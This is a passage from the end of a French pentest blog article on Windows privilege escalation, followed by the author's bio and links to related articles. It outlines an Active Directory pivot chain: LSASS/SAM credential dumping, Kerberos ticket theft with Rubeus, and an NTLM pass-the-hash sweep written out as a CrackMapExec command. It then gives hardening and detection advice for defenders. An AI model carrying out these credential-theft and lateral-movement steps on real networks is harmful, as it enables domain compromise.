Une fois SYSTEM obtenu sur une machine jointe au domaine, les étapes de pivot sont systématiques. Premièrement, extraire les credentials en mémoire (LSASS dump) et locaux (SAM) pour identifier les comptes domaine en cache et les administrateurs locaux. Deuxièmement, extraire les tickets Kerberos en cours (via Rubeus triage puis dump) pour identifier les sessions actives exploitables en pass-the-ticket. Troisièmement, tester les hash NTLM extraits sur les autres machines du réseau via CrackMapExec (crackmapexec smb 192.168.1.0/24 -u admin -H hash) pour identifier le réutilisation de mots de passe. Quatrièmement, si un Domain Admin est connecté à la machine, son ticket Kerberos TGT est extractible depuis la mémoire LSASS et réutilisable pour compromettre directement le Domain Controller. Cette chaîne escalade locale puis mouvement latéral puis escalade domaine est le parcours standard d'une compromission AD complète.
Conclusion et Recommandations Opérationnelles
L'escalade de privilèges Windows reste en 2026 une compétence fondamentale pour les pentesters, red teamers et analystes SOC. Malgré les avancées significatives des défenses Microsoft — Credential Guard isolant les secrets dans une enclave VBS, les ASR rules bloquant les comportements malveillants connus, Smart App Control limitant l'exécution de binaires non signés, et les EDR modernes surveillant chaque appel syscall — la complexité inhérente du modèle de sécurité Windows et la diversité des configurations en entreprise maintiennent une surface d'attaque considérable. GodPotato et CoercedPotato fonctionnent sur la quasi-totalité des systèmes avec SeImpersonatePrivilege. Les misconfigurations de services et les unquoted paths restent omniprésents dans les environnements non durcis. Les kernel exploits régulièrement découverts (plusieurs CVE critiques par trimestre dans win32k et CLFS) offrent des chemins d'escalade même sur les systèmes récents non patchés.
Pour les défenseurs, la priorité absolue est la réduction de surface d'attaque préventive plutôt que la seule détection réactive. Supprimer SeImpersonatePrivilege des comptes qui n'en ont pas besoin élimine la famille Potato entière. Corriger les chemins non quotés et les permissions de service prend quelques minutes par machine mais ferme des vecteurs majeurs. Activer Credential Guard et LSA Protection (RunAsPPL) rend l'extraction de credentials considérablement plus difficile. La désactivation du Print Spooler sur les serveurs qui n'impriment pas bloque PrintSpoofer et PrintNightmare simultanément. En matière de détection, le déploiement de Sysmon avec une configuration adaptée (comme la configuration modulaire de SwiftOnSecurity enrichie avec les règles Olaf Hartong) combiné à des règles Sigma dans le SIEM offre une visibilité sur la majorité des techniques documentées. La clé du succès défensif réside dans l'application systématique et automatisée de ces mesures via GPO, Intune ou des outils de configuration management, car une seule machine non durcie suffit à un attaquant pour prendre pied dans l'environnement.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
XXE : XML External Entity — Exploitation et Défense
L'injection XXE (XML External Entity) exploite le mécanisme d'entités externes du standard XML pour forcer un parser côté serveur à charger des ressources arbitraires — fichiers locaux, URLs internes, ou données encodées exfiltrées vers un serveur contrôlé par l'attaquant. Malgré...
Élévation de Privilèges Linux : SUID, Capabilities et Kernel
SSRF : Server-Side Request Forgery — Exploitation Avancée
Le Server-Side Request Forgery reste en 2026 l'une des vulnérabilités les plus sous-estimées et les plus dévastatrices dans les architectures cloud-native. Là où une injection SQL compromet une base de données, un SSRF bien exploité compromet l'infrastructure entière : accès...
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire